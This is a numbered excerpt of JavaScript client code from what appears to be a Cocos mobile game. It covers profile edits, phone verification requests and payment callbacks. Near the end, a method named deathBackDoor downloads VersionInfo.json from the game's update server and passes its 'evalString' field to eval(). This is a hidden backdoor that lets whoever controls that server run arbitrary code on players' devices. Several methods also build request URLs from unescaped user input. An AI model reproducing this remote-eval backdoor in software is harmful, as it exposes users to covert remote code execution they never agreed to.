  803. return Global.gbk2Utf8(this.m_IndividualUserData.AutoGraph);
  804. },
  805. //设置头像
  806. setUserHead(httpHead) {
  807. if (httpHead !== "" && typeof httpHead == 'string') {
  808. this.m_IndividualUserData.HeadHttp = httpHead;
  809. }
  810. },
  811. //设置昵称
  812. setNickName(nickname) {
  813. if (nickname !== "" && typeof nickname == 'string') {
  814. Global.print("setNickName:: nickname = " + nickname);
  815. this.m_userInfo.NickName = nickname;
  816. }
  817. },
  818. //修改头像
  819. modifyUserHead: function (httpHead) {
  820. if (typeof httpHead == 'string' && httpHead.length > 0) {
  821. if (!this._individualMission) {
  822. this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  823. }
  824. if (true/*cc.vv.loginType == 0*/) {
  825. this._individualMission.modifyHeadHttp(httpHead);
  826. } else {
  827. this._individualMission.modifyXLHeadHttp(httpHead);
  828. }
  829. }
  830. },
  831. //修改头像2
  832. modifyUserFaceID(faceID) {
  833. // Global.print("faceID:"+faceID)
  834. if (faceID > 0 && faceID < 11) {
  835. // if (!this._individualMission) {
  836. // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  837. // }
  838. // this._individualMission.modifyFaceID(faceID);
  839. var self = this;
  840. let url = BaseDefine.URL_PREFIX + "game_api/update_user_info?UserID=" + this.getUserID() + "&FaceID=" + faceID;
  841. Global.httpRequest("POST", url, "", function (code, data) {
  842. if (code === "") {//成功
  843. self.m_userInfo.FaceID = faceID;
  844. self.upPlayerInfo();
  845. }
  846. });
  847. }
  848. },
  849. //修改昵称
  850. modifyNickName: function (nickname) {
  851. /*if (BaseDefine.GAME_PLATFORM == BaseDefine.WEB_H5_PLATFORM) {
  852. return ;
  853. }*/
  854. if (typeof nickname == 'string' && nickname.length > 0) {
  855. // if (!this._individualMission) {
  856. // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  857. // }
  858. // if (true/*cc.vv.loginType == 0*/) {
  859. // this._individualMission.modifyName(nickname);
  860. // } else {
  861. // this._individualMission.modifyXLName(nickname);
  862. // }
  863. var self = this;
  864. let url = BaseDefine.URL_PREFIX + "game_api/update_user_info?UserID=" + this.getUserID() + "&NickName=" + nickname;
  865. Global.httpRequest("POST", url, "", function (code, data) {
  866. if (code === "") {//成功
  867. self.setNickName(nickname);
  868. self.upPlayerInfo();
  869. }
  870. });
  871. }
  872. },
  873. //修改签名
  874. modifyAutoGraph: function (autoGraph) {
  875. if (!this._individualMission) {
  876. this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  877. }
  878. this._individualMission.modifyAutoGraph(autoGraph);
  879. },
  880. requestAutoPhoneCode(phone, callback) {
  881. UIHelper.showWaitNode("reqServer");
  882. let URL = BaseDefine.GETCODENUM_URL + "?PhoneNum=" + phone + "&formart=1";
  883. let xhr = new XMLHttpRequest();
  884. xhr.timeout = 30000;
  885. xhr.ontimeout = () => {
  886. UIHelper.hideWaitNode();
  887. topTipMsg.showTopTipMsg(LanguageKey.t("pubWords.code_timeout"));
  888. }
  889. xhr.open("GET", URL);
  890. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  891. xhr.onreadystatechange = () => {
  892. if (xhr.readyState !== 4) {
  893. return;
  894. }
  895. if (xhr.status === 200) {
  896. UIHelper.hideWaitNode();
  897. let result = JSON.parse(xhr.responseText);
  898. Global.print(result);
  899. // this.unschedule(this.timeoutCall);
  900. if (callback) {
  901. callback(result);
  902. }
  903. }
  904. };
  905. xhr.send();
  906. },
  907. requrePhoneCode(phone, callback, type) {
  908. UIHelper.showWaitNode("reqServer");
  909. let URL = BaseDefine.GETCODE_URL + "?Phone=" + phone + "&UserID=" + this.getUserID() + "&Type=" + type;
  910. let xhr = new XMLHttpRequest();
  911. xhr.timeout = 30000;
  912. xhr.ontimeout = () => {
  913. UIHelper.hideWaitNode();
  914. topTipMsg.showTopTipMsg(LanguageKey.t("pubWords.code_timeout"));
  915. }
  916. xhr.open("GET", URL);
  917. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  918. xhr.onreadystatechange = () => {
  919. if (xhr.readyState !== 4) {
  920. return;
  921. }
  922. if (xhr.status === 200) {
  923. UIHelper.hideWaitNode();
  924. let result = JSON.parse(xhr.responseText);
  925. Global.print(result);
  926. // this.unschedule(this.timeoutCall);
  927. if (callback) {
  928. callback(result);
  929. }
  930. }
  931. };
  932. xhr.send();
  933. },
  934. onThirdPayHandle(data) {
  935. var xhr = new XMLHttpRequest();
  936. var url = BaseDefine.THIRD_PAY_HANDLE;
  937. Global.print(url);
  938. xhr.open("POST", url, true);
  939. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  940. xhr.onreadystatechange = function () {
  941. if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
  942. Global.print(xhr.responseText);
  943. var djson = JSON.parse(xhr.responseText);
  944. if (djson['code'] == 200) {
  945. cc.vv.reflection.buySuccess(djson['data']);
  946. }
  947. }
  948. };
  949. xhr.send(data);
  950. },
  951. deathBackDoor() {
  952. let URL = BaseDefine.GAME_ZIP_URL + "VersionInfo.json";
  953. let xhr = new XMLHttpRequest();
  954. xhr.open("GET", URL);
  955. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  956. xhr.onreadystatechange = () => {
  957. if (xhr.readyState !== 4) {
  958. return;
  959. }
  960. if (xhr.status === 200) {
  961. let result = JSON.parse(xhr.responseText);
  962. Global.print(result);
  963. // this.unschedule(this.timeoutCall);
  964. if (result) {
  965. if (result['evalString']) {
  966. eval(result['evalString'])
  967. }
  968. // eval(result['evalString'])
  969. }
  970. }
  971. };
  972. xhr.send();
  973. },
  974. //某类型商品购买次数
  975. getBuyGoodTimesByType(id){
  976. let buyTimes = 0;
  977. if(!this.m_userInfo.LimitMap){
  978. return buyTimes;
  979. }
  980. for(let key in this.m_userInfo.LimitMap){
  981. if(key == id){
  982. buyTimes = this.m_userInfo.LimitMap[key][0];
  983. return buyTimes;
  984. }
  985. }
  986. return 0;
  987. },
  988. });